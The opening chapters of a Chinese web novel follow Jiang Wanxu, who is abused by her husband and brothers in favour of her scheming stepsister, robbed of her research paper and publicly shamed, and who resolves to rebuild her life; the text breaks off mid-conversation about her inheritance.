《五年真心喂了狗,归来全家求回头》
第1章 离婚协议书
被关进冰窖一整晚后,江晚絮终于被放了出来。
她蜷缩在角落里,被冻得浑身僵硬麻木,体温也快要流失殆尽,卷而密的睫毛覆上一层薄冰。
视线里陡然出现一双高定的黑色皮鞋,她机械而缓慢地抬头。
叶寒逆光而立,像神祇降临。
“签字。”命令的语气冷酷无情。
他抬手,残忍地将离婚协议书扔到江晚絮的脸上。
江晚絮颤抖着手拿起,看清最上方的五个大字后,瞳孔剧烈地颤抖。
叶寒居高临下地看着她。
“你我的婚约本就是荒唐一场,如今芊妤回来,我要补给她一场盛大的婚礼,这是我欠她的。”
一向令她沉沦着迷的声音,在此刻却像凌冽的冰锥,狠狠砸进她心里,疼得她呼吸都变得困难。
她出生时,母亲大出血,没能下来手术台,江父便觉得她是扫把星,看都没看她一眼,直接让人把她送到了乡下外公外婆家。
后来江父另娶,生下了掌上明珠江芊妤。
五年前,叶家破产,叶寒病危,江芊妤借口学业重要,出国逃了这两家从小定的婚事。
他们这才想起被抛弃在乡下的江晚絮。
恰好她的骨髓和叶寒完美匹配,是她捐了骨髓,把叶寒从鬼门关拉了回来。
住院期间,吊灯不小心坠落,江晚絮毫不犹豫扑在了还在恢复期的叶寒身上,她因此断了一条腿。
出院后,她和叶寒便结了婚。
不管婚后叶寒有多冷漠,她都小心翼翼维护着这段婚姻。
她想,五年时间,就算是座冰川,也该融化一点了。
可就在三个月前,江芊妤突然回国,哭着说从未忘记叶寒,她的世界轰然倒塌,所有的一切顷刻间成了笑话。
江晚絮静静地看着眼前她爱了五年的男人,特别想问一句:他亏欠江芊妤,那她呢?
可她唇瓣翕动半晌,却连半个字都说不出来。
因为自从江芊妤回来,一切都发生了变化。
江芊妤突发奇想想要看星星,叶寒便抛下高烧不退的她,义无反顾地离开。
她亲手织的围巾,江芊妤轻飘飘地一句不好看,叶寒便眼都不眨地丢进垃圾桶。
而昨天,只因她不小心把水洒到了江芊妤的身上,她就被关进了冰窖……
江晚絮死咬着下唇,血腥味蔓延口腔时,她终于颤抖着抬起僵硬的手,一笔一划,签下了歪歪扭扭的名字。
“一个月后,手续会办妥。”
叶寒收起离婚协议书,没有片刻停留,转身迈着沉稳的步伐离开。
江晚絮双手抱住自己的胳膊,拖着残缺破败的身体一瘸一拐地往外走。
边走,边从口袋里掏出手机,找出尘封许久的电话,打了过去。
电话很快接通。
江晚絮握紧手机,声音很轻,但掷地有声:“我愿意加入瑞澜。”
瑞澜研究院,是国内外顶尖的存在。
五年来,瑞澜研究院给她打过无数个电话,想邀请她加入,但为了做好叶太太照顾家庭,她每次都回绝。
但现在……
她要为自己而活。
那头的声音格外惊喜:“一个月的时间,江小姐能上任吗?”
“可以。”
“那好,正式的邀请函我们会择日发出,欢迎江小姐加入瑞澜。”
挂断电话后,江晚絮整理了一下心情。
一个月后,这里的一切都再跟她无关了。
……
直到夜幕四合,她才回到了江家别墅。
砰——
门开的瞬间,一只秀丽的杯盏准确无误地砸到她的额头,顿时磕出一片青紫。
江晚絮踉跄一步,险些没站稳。
紧跟着,一道狠厉冰冷的声音响起。
“我怎么会有你这么恶毒的妹妹!”
哥哥江明泽怒气冲冲地走了过来,扬手就又是一巴掌!
“为了跟芊妤争宠爱,甚至不惜拿他人的生命安全开玩笑,你知道不知道,今天实验室爆炸,我和芊妤差点死在那!”
江晚絮被扇的脸偏向一侧,耳边嗡鸣声不断。
闻言,她愣了一瞬,发涩的嗓间艰难地挤出一句话。
“我早说过,你新做的实验调的比例很危险,一分一毫都不能有偏差,否则就有爆炸的风险,但你不听。”
她当时也据理力争过,可江芊妤路过时,语气软绵的一句:“我觉得哥哥的实验没有问题。”
江明泽便把她的话抛之脑后,一意孤行进行了实验。
现在又反过来怪她?
江晚絮这话像是踩到了江明泽的尾巴,他的语气登时拔得更高。
“你在阴阳我没实力?”
江明泽冰冷又充满恨意的眸子紧紧锁住江晚絮:“你一个在乡下长大的农村人,就算侥幸进了最高学府,眼界和见识又怎么能比得过从小接受高端教育的芊妤?”
江晚絮头晕脑胀,浑身血液凝滞。
当初因为一组数据导致江明泽的毕业论文停滞不前,即将面临延毕的局面,是她拿出自己的实验成果,为江明泽解了燃眉之急,甚至还找到了早就决裂的导师,拜托他在暗中多多提携和帮助。
即使功劳最后被算在江芊妤的头上。
在看到江明泽洋溢着的笑容时,她也觉得一切都值了。
可此时此刻,她才意识到自己到底有多傻。
“我告诉你,你连芊妤的一根脚指头都比不上!”
江明泽双眼微眯,眸光冷冽对佣人吩咐道:“把江晚絮关进房间,没有我的允许,不许放她出来!”
闻言,江晚絮本就惨白的脸色又白了几分。
她刚从乡下回来时,江明泽也对她是嘘寒问暖的好。
可江芊妤回来后,她就成了恶人。
即使她和江明泽才是血亲,可江明泽还是处处维护从小就待在一起的江芊妤。
只要她让江芊妤不爽,江明泽就不分青红皂白地把她关起来,以此来惩罚她。
门被无情地关上,江晚絮眸色暗沉,垂在身侧的指尖掐入掌心。
第2章 输血
即便已经离开冰窖,江晚絮还是觉得钻心的冷。
渐渐地,头变得格外沉,意识也逐渐模糊,她裹紧被子,沉沉地睡了过去。
不知道过了多久,一阵冰凉刺骨的冷水将她从睡梦中拽了出来。
“啊——”
隔着被子,江晚絮浑身湿透,抑制不住的哆嗦。
昨晚在冰窖的恐怖再次袭来,江晚絮身体蜷缩,颤抖着睫毛看向床边——
江明泽正一脸怒气地站在那。
“你还有脸睡觉!”
江明泽不由分说直接把江晚絮从被子里拽出来,愤懑道:“芊妤为了给你送饭,不小心在门口摔倒,划破了腿,她本来就贫血,你现在跟我去医院给她输血。”
强硬的态度让江晚絮连说话的机会都没有。
直到被按到凳子上时,江晚絮整个人还是懵的。
“抽吧!”江明泽声音冷漠。
江晚絮唇色泛白,在冰窖冻了一晚上已经让她状态非常不好,要是再抽几百毫升的血……
她想说些什么,江明泽却死死按住她的肩膀。
殷红的血液抽离身体,江晚絮整个人飘飘欲仙。
“已经抽了四百毫升了。”护士准备收手。
却被江明泽强硬阻止:“再抽二百毫升,也好让她长长记性!”
护士下意识想劝阻。
正常人抽四百毫升就得休息好几天,更别提这位小姐看起来就很虚弱……
但这毕竟是人家的事,这行为也没有踩到红线,秉承着多一事不如少一事的想法,护士还是选择了闭嘴。
等血全部抽完,江晚絮已经感觉不到自己真实存在。
江明泽怒气冲冲地离开,江晚絮缓了好一会儿,才拖着残败的身躯往外走。
却迎面撞上了穿着病号服的江芊妤。
“姐姐,你这是要去哪?”
江芊妤挡在她面前,脸上带着挑衅得意的笑容。
江晚絮皱眉,想要绕身离开。
她不想和江芊妤起无谓的争执。
反正也没人会站在她这边。
更何况,再过一个月,她就可以彻底离开这里了。
“姐姐就这么讨厌我吗?”
可江芊妤却不想就这么放过她,再次挡在她面前。
娇柔的声音落入江晚絮耳中,格外刺耳。
“不过也是,”江芊妤欣赏着江晚絮狼狈的模样,嘴角绽放得意的笑容,“你最在乎的那些人,因为我,都恨透了你。”
“就算你抽了骨髓,断了腿,可叶寒哥哥还是不会正眼看你,就连和你有血缘关系的三个哥哥,心里也只有我。”
“江晚絮,你活得可真失败。我要是你,早就一头撞死了。”
听着这些话,江晚絮攥紧的指尖几乎要嵌入肉里。
她语气轻飘飘道:“那你去死吧。”
“你!”江芊妤没想到看起来软弱可欺的江晚絮会出声回怼,愤怒顿时如汹涌的潮水袭来,占据了她的大脑。
她正想再说些什么,眼角余光却看见一道熟悉的身影正向这边走来……
江芊妤眼珠子滴溜溜地转了转,突然“啊”的一声,跌倒在地。
再抬眼时,眸中已经盛满了泪水,要掉不掉的。
“姐姐,对不起,我不该摔倒,不该贫血让你给我献血,都是我的错……可我真的只是想来感谢你一下,却没想到姐姐这么讨厌我……”
江芊妤突如其来的举动让江晚絮愣了一下。
心中不安的感觉升起。
下一秒,二哥江明宇暴怒的声音就响了起来。
“江晚絮,你干什么!”
江明宇疾步而来,不由分说十分用力地把江晚絮推开,然后小心翼翼地扶起江芊妤,动作轻柔得像是在对待什么稀世珍宝。
江晚絮单薄的身体根本抵挡不了这么猛烈的攻击,脚步不受控制的踉跄,一个没站稳,直接从楼梯上滚了下去!
疼痛瞬间传遍全身,骨头好像都要散架!
额头还重重地磕在地上,顿时有鲜血流出,甚至流进了江晚絮的眼睛里。
江晚絮颤抖的双手悬空,想要揉搓眼睛,却因为害怕造成更严重的危害而迟迟不敢落下。
“二哥……”江芊妤像只受伤的小兔子,说出的话带着颤音:“你别怪姐姐,都是我的错,是我不好,可我也不想受伤,我只是想关心姐姐而已。”
“不过姐姐就算打我骂我,我也应该受着的。”
江明宇是个暴脾气,闻言,顿时怒火中烧。
“你一点错都没有,”他语气轻柔地安抚江芊妤,而后又恶狠狠瞪了江晚絮一眼,“分明是江晚絮这个毒妇可恶!”
江明宇站在楼梯上,居高临下地看着格外痛苦的江晚絮。
“芊妤好心跟你道谢,你竟然推她,你怎么这么恶毒!”
江晚絮艰难睁开眼,透过粘稠的液体,勉强看清江明宇充满怒意的脸。
恍惚间,她想起之前江明宇参加拳击比赛受伤,为了让他尽快好起来减轻痛苦,她没日没夜地研究医学,甚至跑了好几座城市,为他找特效药。
可现在……
他却相信江芊妤那么低劣的手段,甚至把她推下楼梯都不为所动。
江晚絮浑身颤栗,语不成调:“我没有……”
“没有?”江明宇冷哼一声,“难不成是芊妤自己摔倒诬陷你的?江晚絮,你能不能不要找这么蹩脚的借口!”
江晚絮嘴唇微张,什么话都说不出来。
解释?
没有人会信的。
江明宇和江芊妤已经离开,江晚絮趴在地上,气息都变得微弱起来。
突然,一双高定皮鞋映入她的眼帘。
她缓缓抬眸,看到了叶寒那张像是上帝精雕细琢过的脸。
江晚絮心中顿时升起一丝可笑的期盼。
或许……结婚五年,叶寒对她能有一丝的怜悯。
可叶寒却好像只是路过,薄唇一张一合,沉声对电话那头的人吩咐。
“营养品多准备点,芊妤受伤,要好好补补,另外,帮我定九百九十九朵玫瑰花,芊妤最喜欢玫瑰了。”
这话犹如雷击,狠狠劈向江晚絮!
她犹然记得刚结婚时,她想让叶寒给她买一朵花,换来的却是叶寒冰冷的一句:“我很忙,这种小事不要找我。”
她怕惹叶寒生气,便再也没有提过。
可现在……
叶寒却主动给江芊妤买花,脸上一向很冷的线条都好似柔和不少。
江晚絮嘴角勾勒出自嘲的弧度。
她挣扎着从地上爬起来。
叶寒冰冷深邃的眸这才落在她的身上。
视线触及江晚絮额头的伤时,眉头几不可查地皱起。
但很快又恢复冷漠的神情。
第3章 低劣的手段
“看我做什么?”叶寒的声音像是腊月湖底的水,冷的刺骨,“难不成还想让我带你去看医生?”
说着,俯下身去,瞬间拉进了两人之间的距离。
明明是很暧昧的姿势,吐出的话语却格外冷酷无情:“江晚絮,你能不能不要总是用这种低劣的手段来博人眼球?”
温热的气息喷洒在江晚絮的脸上,却像冷风刮过,凌冽的疼。
江晚絮捏紧指尖,心脏像是被一双无形的大手攥住,疼的她呼吸都觉得困难。
这就是她爱了五年的男人……
哪怕她浑身是血,他也只觉得这是找存在感的手段。
是不是就算有一天看见她上吊,也认为她是在荡秋千?
江晚絮深深看了叶寒一眼,最终什么也没说,拖着那条断腿,一瘸一拐地离开。
……
江家。
江明泽和江芊妤刚回到家,就收到了一件跨国快递。
是瑞澜研究院给江晚絮发来的邀请函。
看着最上方烫金的几个大字,江明泽的眉头狠狠皱起。
江晚絮什么时候被瑞澜录取了?
难道她要离开?
江芊妤凑过来,敏锐的观察到江明泽眸底闪过异样的情绪,立刻柔声道:“这可是全球最顶尖的研究院,大哥你不是也投递过很多次简历,但都石沉大海了吗?姐姐她怎么……”
说着,她突然捂住了嘴巴,语气惊讶:“姐姐该不会被骗了吧?”
江明泽心中的异样瞬间扯平。
是了,他都跨不进的门槛,江晚絮又怎么可能被邀请?
一定是她为了争宠,特意花钱做了一份假的,制造出她要离开的假象。
真是心思深沉!
“她的手段真是越来越下作了,以为这样就能得到关注,简直是痴人说梦!”
江明泽毫不留情把邀请函撕的粉碎,然后扔进了垃圾桶里。
……
江晚絮处理好额头的伤,刚缴完费,手机就没电关机。
而她身上也没有现金。
只好迈着沉重的步伐往江家别墅走。
一直走到晚上,脚都磨破了,才看到江家亮起的灯。
她心里很清楚,那不是为她而留。
果不其然,一靠近,就看到江家一家人其乐融融的场面。
她推门而入,里面热闹的氛围瞬间僵住。
江明泽嫌弃地看了她一眼,冷声道:“你还知道回来?顶着这副鬼样子在外面转悠,简直是丢尽了江家的脸!”
江晚絮攥紧衣角,哑声问:“你们今天有收到我的快递吗?”
算算时间,瑞澜的邀请函已经送到了才对。
可她刚才在玄关放快递的地方没看到。
江明泽当即露出果不其然的表情。
这果然是江晚絮的手段。
这不,一回家就迫不及待地询问,生怕他们不知道。
“看到了又怎样?”江明泽不以为然,“你以为就那么一张破纸,就能挽回我们?”
看江明泽这个态度,江晚絮的心瞬间提起,语调不自觉的拔高:“在哪?”
“垃圾自然应该在垃圾桶。”江明泽身子往后靠,语气轻蔑。
闻言,江晚絮直接开始翻找垃圾桶。
甚至面对厨房恶臭潮湿的垃圾,也是眼都不眨的下手。
江明泽见状,立马疾步上前,揪起江晚絮的衣领,把人拎了起来。
“你疯了?”
江晚絮眼眶都红了,颤抖着声音问:“你扔到哪个垃圾桶了?”
她现在全靠一口气撑着,就是为了一个月后离开这里。
但现在,告诉她邀请函丢了?
对上江晚絮通红的双眸,江明泽的指尖微不可察的顿了一下,心脏好像被人不重不轻地捏了一下。
他嘴唇翁动,正想说什么,身后却突然传来江芊妤细细柔柔的声音。
“姐姐,你对家里的事还真是一点都不上心,垃圾已经倒过一次了,算算时间,现在应该到西山那个最大的垃圾场了。”
说到这,又刻意的顿了顿,才大发慈悲的继续道:“算了,姐姐,只要你以后乖乖的,这次的事我们不会计较的。”
闻言,江晚絮双眸终于掀起了一丝波澜。
她用力挣脱江明泽的桎梏,一瘸一拐拼了命的往外跑。
江明泽怔然地看着空荡荡的掌心,有些不可置信:“不过是一张伪造的邀请函,她竟然……”
“好了大哥,”江芊妤上前,柔声细语的安抚,“或许姐姐只是怕事情败露,所以硬着头皮也要把这场戏演完,我们还是不要拆穿她了。”
说罢,她走到无人的角落,掏出手机打了一通电话……
秋风萧瑟,江晚絮站在充满恶臭味的巨大垃圾场前,单薄的身躯被冷风刮的几乎要站不住。
每一下都透着凌迟的痛。
她只犹豫了片刻,就直接冲了进去。
偏偏天公不作美,狂风暴雨很快袭来。
江晚絮浑身湿透,雨水模糊视线,垃圾混合在一块,加大了寻找的难度。
突然脚下一滑,整个人歪倒在一旁碎掉的玻璃上,碎玻璃直接扎进她的胳膊和小腿。
再被雨水冲刷,尖锐的疼痛蔓延至五脏六腑。
然而就在此时,身后突然传来一道手电筒的强光。
她转身,看见一个眼冒淫光的醉汉朝她走来。
江晚絮下意识想跑,受伤的腿像是被定在原地,根本拔不起来。
“小美人,别想着跑了,让哥哥好好疼疼你。”
醉汉站在她面前,露出猥琐的笑。
“救命……救命……”
江晚絮瞬间被巨大的恐惧笼罩,她想逃,却被醉汉一把按在了地上。
垃圾的腥臭和醉汉的恶臭扑面而来。
“就算你喊破喉咙,也不会有人听见的。”
醉汉说着,就要伸手去剥江晚絮的衣服。
就在江晚絮感到无比绝望时——
不远处突然传来一道温润的声音。
“絮絮,你在吗?”
江晚絮灰暗的眸重新点亮。
这是她三哥江明哲的声音。
江明哲在国外留学,也是目前这个家里唯一一个还没有偏帮江芊妤的人。
前段时间,三哥还给她寄了明信片。
她激烈挣扎,想要引起江明哲的注意。
压在她身上的醉汉却死死捂住了她的嘴,警告邪恶的声音压低:“你敢弄出什么动静,我现在就弄死你!”
江晚絮看着江明哲宽大的身影,心中期盼着他往里走走。
就几步,就能看到她。
突然,江明哲的手机响了起来。
“三哥,你回国了怎么不赶紧回来?我都想你了,”空荡的室外让江芊妤撒娇的声音清晰传入江晚絮的耳中,“我和大哥二哥给你举办了欢迎派对,就等你呢!”
紧接着声音又变得焦急关切:“你是去找姐姐了吗?她真的因为一张伪造的纸去垃圾场了?要不我找些人,一起帮着找找?”
第4章 学术造假
江明哲的眉目柔和下来,嗓音也是一贯温柔。
“不用了,我没看到她。”
江明哲看着巨大的垃圾场,皱了下眉。
怎么可能在这找到一张纸?
这无疑于大海捞针。
江芊妤的声音满是欢喜:“那三哥你快回来吧,我等你。”
江明哲应了声,不再犹豫,转身离开。
看着这一幕,江晚絮的眼泪从眼角落下,滑入鬓角。
心脏撕心裂肺的疼。
原来江明哲和那些人一样,早就不站在她这边了。
等江明哲走远,醉汉才松开了她。
没忍住讥讽道:“还真是可怜,都走到眼前了,被人一通电话叫走,小美人,看来你就跟这些垃圾一样,随时可以被丢下。”
“不如从了哥哥,我会好好对你。”
说着,伸手摸了一把江晚絮细腻雪白的肩头。
滑溜的触感让醉汉差点流出口水来。
江晚絮悄然拿起一旁的碎玻璃,狠狠朝醉汉的胳膊划去。
鲜血冒出,醉汉吃痛的松开她,咒骂一声:“操,你竟然敢伤我?!”
江晚絮趁着这个空档,咬牙起身,靠着强烈的生的欲望,发疯似的往外跑。
身后醉汉很快反应过来,追了过来。
江晚絮明白,她不可能跑得过。
只能另辟蹊径。
她的视线陡然落到不远处的废弃衣柜上。
她跑了过去,在醉汉即将抓住她的瞬间,使出全身的力气把衣柜推到。
衣柜稳稳砸在了醉汉的头上。
醉汉登时两眼一黑,晕了过去。
江晚絮亦步亦趋的往外走。
马路上,突然一道强烈的远光灯照过来,江晚絮身形晃了一下,再也支撑不住,倒了下去。
黑色幻影陡然急刹车。
司机额头涔出冷汗。
刚才……他是看见鬼了?
颤颤巍巍的回头,对着后排气质矜贵冷肃的男人道:“爷……”
男人笔直的双腿如帝王般交叠,那张优越的侧脸隐匿于晦暗光线下,显得更加深邃立体。
声音沉澈:“下去看看。”
司机走上前,看清江晚絮的脸后,瞳孔瞬间放大。
“爷,是江小姐!”
“砰!”
几乎是话音刚落,车门被用力打开的声音就传了过来。
男人冷着脸疾步上前,动作轻柔的将江晚絮抱起。
声音冷冽的吩咐:“去医院。”
回到车上。
司机把车内温度调高,忍不住往后看了一眼,眉头登时皱起。
“这……江小姐怎么受这么多伤?”
男人那双深潭一样的眸子顿时浸满霜寒。
“去查。”
简短的两个字,却带着极致的威压。
男人古井般的眸子落在怀中瘦弱的女人身上,戾气攀上眸底。
凛然的气场翻飞,车内的空气骤然变得逼仄起来。
……
江晚絮醒来时,身上一点力气都没有。
但身上的伤却一点也不觉得疼。
她起身,看着所有的伤都被处理得很好,顿时有些恍惚。
恰逢护士查房,江晚絮问道:“我怎么到医院的?”
“是一位很帅的先生抱你来的,”护士笑容温和,“他对你可真好,为了你减轻你的痛苦,特意找了特制的药膏。”
江晚絮看着护士手中躺着的药膏,愣了愣。
“那他人呢?”
“缴完费就走了,不过他特意拜托我们好好照顾你。”
护士给她检查完身体后就离开了,江晚絮握住药膏,有些怔然。
江晚絮当天办理了出院手续。
她刚回到家,就看到江明哲和江芊妤正在讨论江明哲新的画作。
见她回来,江芊妤立马迎上前:“姐姐,你回来了!”
说着,她惊喜地转头看向江明哲。
“三哥,我说什么来着,姐姐不是那种拎不清的人,还好你昨晚回来了,不然就要白费工夫了。”
想起昨晚的事,江晚絮下意识攥紧了指尖。
“只不过……”江芊妤视线上下打量,话锋一转,“姐姐你身上的伤怎么处理的这么好?”
说着,目光落到江晚絮手中的药膏上,顿时张大嘴巴:“这个药膏疗效很好,但一支就要上千万,市场上也是供不应求,姐姐,你是怎么得到的?”
“用一些见不得人的手段呗。”
楼上传来江明宇阴阳怪气的声音,“装作要去垃圾场找那张破纸,想以此博得我们的同情,转头却去处理伤势,江晚絮,你的手段是越来越恶心了!”
江明哲也忍不住皱眉斥责:“絮絮,我知道你这么多年在乡下受尽了苦楚,可这都跟芊妤无关,你不该迁怒到她身上,你们都是我们的妹妹,只要你好好的,我们会一视同仁的。”
江晚絮像是听到了什么天大的笑话。
一视同仁?
可他现在不就轻而易举的被江芊妤挑拨,指责她?
温柔刀虽不锋利,却刀刀致命,直直往她心窝子里戳。
“跟她说这么多做什么?!”
江明宇走下楼梯,脸上写满嫌恶。
“她要是有芊妤一般善良,都不会做出这种事来。”
说着,视线落到江晚絮手中的药膏,一把夺了过来。
理所当然道:“就你也配用这么好的药膏?芊妤的腿是因为你才伤了,这药膏就给她用吧!”
药膏锋利的角划过江晚絮的掌心。
让她心中又添了几分荒芜。
江晚絮彻底失望,惨白到几乎没有血色的唇绷成一条直线。
她最终什么也没说,默默承受这些人的恶意,上楼回到自己的房间。
她抱着最后的一丝希冀给瑞澜研究院发了邮件。
看看能不能补发邀请函。
发完邮件后,她沉沉的睡了过去。
这一觉并不安稳。
次日醒来,她本想查看瑞澜有没有给她回复,屏幕上方却突然弹出一个热搜词条——
#江晚絮学术造假!#
江晚絮心中“咯噔”一声,忙点了进去。
有人扒出她前几天发表的论文和江芊妤的一模一样。
而江芊妤的发布时间比她早了十分钟!
江晚絮气的浑身颤抖。
这论文分明是她不知道几个难眠的日夜写出来的!
她想找实验留痕证明自己的清白,却发现文件被删的干干净净。
就在这时,江芊妤还发了一条动态:
【我没想到姐姐竟然会做出这种事情,我深感痛心,不过都是一家人,只要姐姐向我公开道歉,我可以不追究她的责任。】
第5章 舆论不可控
后面还贴了几张项目手稿和撰写思路。
评论区全是对她的谩骂和对江芊妤的夸赞。
【写过论文的都知道的有多难,但江晚絮竟然一字不差地照搬,真是恶心至极!】
【学术造假十分可耻,江晚絮滚出学术界!】
【芊妤还是太善良了,自己的心血都被抄袭了,还能原谅。】
【就是,如果是我,我杀了江晚絮的心都有了。】
江晚絮浑身血液凝滞。
关于论文,她只跟叶寒讨论过。
而她文件夹的密码,也只有叶寒知道。
江晚絮情绪激动的给叶寒打了电话过去。
没人接听。
她不厌其烦继续打,最后却响起对面关机的冰冷提示音。
江晚絮看了眼时间,正是叶寒准备上班的时间。
她没有犹豫,直奔叶氏的地下停车场。
看到熟悉的白色宾利,江晚絮疾步上前。
隔着车窗,她看见叶寒和江芊妤坐在后座,氛围温馨。
江芊妤甜蜜地吃着甜品,嘴角不小心沾上奶油。
叶寒眼眸柔和,毫不嫌弃地用指腹轻擦。
江晚絮咬了咬舌尖。
血腥味在口腔蔓延,她上前,用力地捶打玻璃。
叶寒不耐烦地降下车窗。
“我的论文,是不是你给江芊妤的?”
江晚絮直入正题,倔强瞪着的眼眶通红。
面对她几近崩溃的情绪,叶寒也只是皱了下眉,语气淡然:“一篇论文而已。”
江晚絮死死盯着叶寒。
什么叫只是一篇论文而已?
她倾注了多少的心血在里面!
“江芊妤,你现在立刻马上发布动态向我道歉!”
江晚絮冷冷地看向江芊妤。
江芊妤放下手中的甜品,语气染上几分可怜:“姐姐对不起,我还以为那论文是叶寒哥哥买的,我不知道是你的……你别生气。”
那模样,就像江晚絮是霸凌者。
叶寒狠狠皱起的眉头像是能夹死苍蝇。
他虚揽着江芊妤的肩膀,俨然维护的姿态。
“要证明那论文是你的,就拿出证据来,而不是像个疯子一样。”
叶寒冰冷的声音像冰锥,快准狠地扎进江晚絮的心脏。
“更何况,”薄唇轻启,吐出无情的字句:“你总是设计伤害芊妤,这论文就当是赔罪了。”
说罢,重新摇上车窗,车子驶出地下室。
江晚絮失去了所有的力气,浑浑噩噩走回家。
江家别墅却围了一堆扛着长枪短炮的记者和狗仔。
甚至还有一些满脸愤恨的吃瓜群众。
江晚絮瞳孔皱缩,一股不安的情绪涌上心头,她下意识转身想跑。
断了的那条腿却使不上力,整个人歪倒在地。
响起的动静吸引了那群人的注意力。
江晚絮刚挣扎着站起来,就被死死围住。
不停闪烁的闪光灯和谩骂向汹涌的潮水一样袭来。
“江晚絮,你为什么要抄袭?”
“你什么时候道歉?还受害者一个公平!”
“我们学术界不允许有你这样的败类!”
江晚絮眼都睁不开,语气却坚毅:“我没有抄袭,那是我自己写的。”
一语激起千层浪,这话瞬间引起群众激愤。
“江芊妤证据都甩出来了,你还在这里狡辩?”
“你这样的人活着有什么意思?”
“赶紧跟江芊妤道歉!”
好像嘴上的谩骂已经不能发泄他们心中的憎恨,人群中突然飞出一个鸡蛋,准确无误地砸在了江晚絮的头上。
短暂的沉默后,迎来的是铺天盖地的瓜果蔬菜。
都快要把江晚絮淹没。
蛋液顺着脸颊往下流,腐烂的味道充斥鼻尖。
江晚絮整个人十分狼狈。
江晚絮想离开,水泄不通的人群被堵住了她所有的路。
她只能被迫承受。
不知道过了多久,安保才姗姗来迟,把这群不速之客赶了出去。
提起沉重的步伐,回到家。
江明泽坐在沙发上,语气冷然:“要么,这段时间你就不要出去,乖乖待在家里等着舆论消散,要么,你就搬出去,我不希望今天的事情再有下一次。”
他走到她面前,居高临下地看着她:“你自己作的孽,不要牵连我们。”
江晚絮看着江明泽,早就麻木的心脏又细细密密地疼了起来。
她做错了什么?
她费心帮助这些人的时候,怎么不说不要牵连他们?
最终一句好也没落到,反而全是憎恨和埋怨。
她真是瞎了眼,才会把这群人视作最重要的存在。
不过也怨不得别人,毕竟这些刺向她的刀,是她亲手递出去的。
江晚絮笑容凄惨,整个人破碎不堪。
江明泽眉头微皱,嘴巴张张合合,最后也没说什么,无情决绝地抬步离开。
偌大冰冷的客厅只剩下江晚絮一人。
口袋里的手机突然响起。
是瑞澜研究院打来的电话。
江晚絮整理了一下情绪,按了接听。
“江小姐你好,我们收到了你发的邮件。”
江晚絮握紧手机:“那……”
刚一开口,就被电话那头充满歉意却冷漠的声音打断,“同样,我们也看到了网上的舆论。”
一颗心瞬间提到了嗓子眼。
江晚絮着急忙慌想要解释:“我不是抄袭者。”
“我们相信以江小姐的能力,是能写出这种水平的文章。”
江晚絮松了口气,仿佛能听见对方下一秒要说补发邀请函。
对方却是话锋一转:
“但舆论不可控,如果江小姐不能自证,消除舆论,我们恐怕不能录用你了。”
手机从指尖滑落,砸在地板上,发出一声沉闷的轻响。
江晚絮没有哭,甚至连一丝表情都没有。
所有的电子记录、实验日志、服务器痕迹,都已被叶寒亲手抹去。他给了江芊妤那篇论文,就早已为她铺好了所有的路,也堵死了江晚絮所有的退路。
要想证明,只有一个办法——拿出超越那篇论文的、更进一步的研究成果。
那是她呕心沥血数年的项目,后续的方向和突破点,早已在她脑中推演过千百遍。她需要的,只是一个实验室,一些时间和设备。
江晚絮缓缓从地上站起,破碎的眼眸中,重新燃起一簇微弱却倔强的火苗。
她不能倒下。
不是为了瑞澜,不是为了任何人,而是为了她自己,为了她被窃取的心血和被践踏的尊严。
第6章 你居然偷听?!
第四天,手机提示余额不足,自动停机了。
她这才想起,这个号码是叶寒的副卡。
他停了她的卡。
江晚絮自嘲地笑了笑,翻出抽屉里自己大学时办的银行卡,走出门去缴费。
营业厅里,她将卡递给工作人员。
“您好,缴费。”
工作人员接过,刷了一下,脸上露出疑惑的神情。
“女士,不好意思,您的卡……被冻结了。”
“什么?”江晚絮以为自己听错了。
“您卡里的所有资金都被冻结,无法进行任何交易。”
江晚絮怔在原地,浑身的血液仿佛在这一刻凝固。
这张卡里,是她大学时获得的全部奖学金和专利转让费,是她婚前最后的私产。
叶寒……
他怎么敢!
他怎么能!
巨大的恐慌和愤怒攫住了她,她冲出营业厅,失魂落魄地走在街上。
她想回家,想找个地方躲起来。
可哪个家?
江家早已不是她的家。
而她和叶寒的婚房,她连密码都不知道。
她伸手拦下一辆出租车。
“师傅,去清荷苑。”
那是她用最后一点现金租下的短租屋。
车子一路平稳行驶,窗外的霓虹光怪陆离,却照不进她灰暗的眼底。
抵达目的地,计价器显示:三十六元。
江晚絮下意识地拿出手机,点开支付码。
“扫这里。”司机指了指二维码。
她对准,点击支付。
【支付失败】
红色的感叹号,刺得她眼睛生疼。
她这才想起,这张卡也被冻结了。
她翻遍了身上所有的口袋,掏出来的,只有几张皱巴巴的零钱。
五块,一块,五毛……
加起来,不到十块钱。
司机等的有些不耐烦,语气也开始变差:“我说你到底有没有钱啊?没钱打什么车?”
江晚絮的脸颊火辣辣地烧了起来,这辈子都没这么窘迫过。
“对不起师傅,我……”
“行了行了!”司机不耐烦地摆手,“看你穿得也不差,怎么几十块钱都拿不出来?赶紧下车,别耽误我做生意!算我倒霉!”
江晚絮被赶下了车,狼狈地站在路边。
晚风吹过,卷起她单薄的衣衫,冷得刺骨。
她第一次如此清晰地意识到,失去了“叶太太”这个身份,她在这个繁华的城市里,连生存都成了问题。
原来这五年,她不是活在叶寒的爱里,而是活在他用金钱和权势构筑的、华丽而虚幻的泡沫里。
泡沫一戳就破。
而她,摔得粉身碎骨。
她不知道自己是怎么走回那个破旧短租屋的。
屋里一片死寂。
她抱着膝盖,在黑暗里坐了一整夜。
天亮时,一个念头疯狂地滋生。
她想回江家。
不是为了求助,不是为了祈求怜悯。
她只是……想再找回一丝人间的温度。
哪怕只有一丝丝,能够证明她曾被期待过,曾是那个家里的一员。
或许,爸爸的书房里,还留着她儿时的照片。
或许,阁楼的旧物里,还有爷爷留给她的遗物。
这点可笑的念想,支撑着她拖着疲惫不堪的身体,再次走向那个让她伤痕累累的地方。
江家别墅静悄悄的。
她用备用钥匙打开门,蹑手蹑脚地走进去。
客厅里没人。
她刚想上楼,书房里就传来了江明澤和江芊妤的对话声,门虚掩着,声音清晰地飘了出来。
“哥,姐姐现在名声都臭成这样了,爷爷遗嘱里留给她的那百分之五的股份,是不是有点浪费了?”
是江芊妤娇柔中带着算计的声音。
江晚絮的脚步,像被钉在了原地,动弹不得。
遗嘱?股份?
她从不知道爷爷的遗嘱里有她。
紧接着,是江明泽冷静到冷酷的声音。
“爷爷的遗嘱已经公正,我们动不了。”
江芊妤的语气带上了急切:“那怎么办呀?难道真要眼睁睁看着那笔钱被她败光?”
“别急。”
江明泽的声音里透着一丝成竹在胸的傲慢。
